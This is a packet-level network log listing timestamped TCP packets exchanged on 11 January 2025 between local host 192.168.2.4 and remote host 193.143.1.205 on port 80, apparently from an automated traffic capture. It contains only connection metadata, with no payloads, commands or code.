Jan 11, 2025 06:03:10.156177998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156188965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156199932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156238079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.156270981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.156455040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156497955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.156548023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156603098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156620026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156636953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.156687975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156724930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.156738997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156878948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156888962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156899929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156908989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.156918049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.156934977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.157278061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157291889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157303095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157314062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157320976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.157324076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157334089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157335043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.157344103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157362938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.157412052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.157840014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157850981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157860041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157881975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.157896042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157907009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157917023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157927990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.157932043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.157959938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.157996893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158006907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158018112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158035994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.158052921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.158840895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158852100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158863068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158879042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158886909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.158890963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158900976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158912897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158920050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.158922911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158938885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158946991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.158955097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.158977985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.159002066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.159766912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159779072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159789085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159799099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159809113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159813881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.159818888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159830093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159840107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.159857035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159859896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.159867048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159877062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.159900904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.159928083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.160731077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160743952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160753965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160763979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160775900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160785913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160785913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.160795927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160800934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.160830975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.160832882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160842896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160852909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.160871983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.160885096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.161525965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161537886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161549091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161559105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161586046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.161606073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.161614895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161624908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161639929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161649942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161659956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.161660910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.161679983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.162028074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.162486076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162497997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162507057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162533045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.162558079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.162781000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162791967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162801981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162812948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162821054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.162844896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.162877083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162928104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.162961006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.166902065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.171542883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.202610016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.202641010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.202652931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.202713966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.243563890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243599892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243640900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243650913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.243654966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243675947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243695021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243702888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.243709087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243721962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243737936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243748903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.243769884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.243786097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.243834019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243845940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243856907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243869066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243880987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243881941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.243918896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.243949890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.243987083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.244024038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.244035959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.244090080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284646034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284682035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284693003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284706116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284717083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284735918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284740925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284748077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284756899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284759998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284780979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284794092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284804106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284805059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284828901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284852028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284859896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284877062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284895897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284902096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284908056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284920931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284929991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284957886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284960032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.284982920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.284995079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285021067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285032034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285072088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285096884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285109043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285145998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285171032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285181046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285192966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285204887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285218000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285219908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285232067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285257101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285278082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285363913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285402060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285418987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285434008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285445929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285450935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285465002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285475969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285476923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285518885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285541058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285574913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285586119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285593033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285613060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285624027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285628080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285660028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285741091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285752058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285763025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285778999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285790920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285792112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285803080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285814047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285862923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.285965919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285978079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.285989046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286000967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286012888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286014080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286026001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286037922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286041021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286065102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286272049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286283016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286293983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286304951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286317110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286322117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286336899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286350012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286355019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286360979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286375046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286386013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286396027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286397934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286426067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286443949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286493063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286504030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286514997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286525965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286537886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286540985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286550045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286573887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286597013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286762953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286864996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286876917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286890030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286900997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286904097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286911964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286923885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.286937952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.286963940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287004948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287017107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287026882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287039042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287050962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287058115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287061930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287072897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287072897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287095070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287111044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287134886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287146091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287162066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287173986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287184954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287185907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287221909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287386894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287406921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287419081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287436008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287456989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287512064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287523031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287533998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287555933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287565947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287596941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287601948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.287609100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.287642956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.298429012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331191063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331214905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331228018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331238031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331250906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331262112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331307888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331325054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331331968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331336975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331370115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331381083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331396103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331412077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331417084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331423998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331443071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331444025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331444025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331460953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331469059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331480026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331512928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331636906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331648111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331659079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331670046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331682920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331695080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.331697941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.331732988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.340085030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.347769976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372150898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372204065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372241974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372272015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372293949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372338057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372380972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372392893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372406006 CET	80	49730	193.143.1.205	192.168.2.4
